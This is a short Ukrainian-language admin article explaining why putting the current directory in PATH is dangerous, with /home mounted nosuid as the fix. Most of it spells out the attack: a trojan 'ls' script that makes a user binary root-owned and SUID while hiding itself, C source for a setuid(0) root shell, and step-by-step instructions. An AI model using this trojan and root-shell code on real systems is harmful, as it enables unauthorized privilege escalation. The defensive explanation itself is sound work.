Багато адміністратори відчувають незручність при переході від Win систем на юнікс системи, з-за того, що за замовчуванням не можливий запуск програм з поточного каталогу, це потрібно явно вказати.
Для вирішення такої проблеми вони просто явно прописують шлях за замовчуванням в змінну PATH:
Припустимо:

PATH=./:/bin:/usr/bin:/sbin

Такою дурістю може скористатися практично будь-який користувач системи.

Припустимо користувач пише такий скрипт:

#!/bin/bash
chown root:root /home/petr/.mc/a.out
chmod 4755 /home/petr/.mc/a.out
/bin/ls $1 $2 $3 $4 $5 $6 $7 | grep -v ls

І називає його ls

цей скрипт при старті встановлює власником root a на програмку a.out і біт SUID на неї.
І останній рядок виводить як би звичайний результат роботи програми ls виключаючи саму себе із загального списку.

Програмка a.out запускає шелл з правами root

її вихідний код.

#include
#include
#include
#include

int main(int argc, char ** argv)
{
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
}

Щоб уникнути таких ексцесов домашні каталоги користувачів ЗАВЖДИ повинні знаходиться на ОКРЕМОМУ РОЗДІЛІ!!! який буде змонтований з опцією nosuid.
Приклад:
Припустимо в системі існує вінчестер hdc, змонтуємо його при старті системи з прапором nosuid

/dev/hdc1 /home ext3 defaults,nosuid 1 1

Ще раз про спосіб організації:

1. Створюємо скрипт з назвою аналогічним ls який буде по функціональності нічим не відрізняться від звичайної програми ls, але буде виконувати ряд дій:
а) встановлювати власника root на яку-небудь програму, яка знаходиться в домашньому каталозі користувача;
б) встановлювати біт SUID на цю програму. ЩО ДОЗВОЛИТЬ НАДАЛІ користувачеві запустити дану програму з правами власника, тобто отримати привелигированый доступ до системи.

2. Виконуємо написання (НЕВАЖЛИВО НА ЯКІЙ МОВІ програмування) програми над якою будуть проводиться вышеописаные дії. В кращому випадку ця програма повинна запустити командний інтерпретатор з правами root.

3. Виводимо вміст поточного каталогу на екран — як ніби це здійснилася програма ls.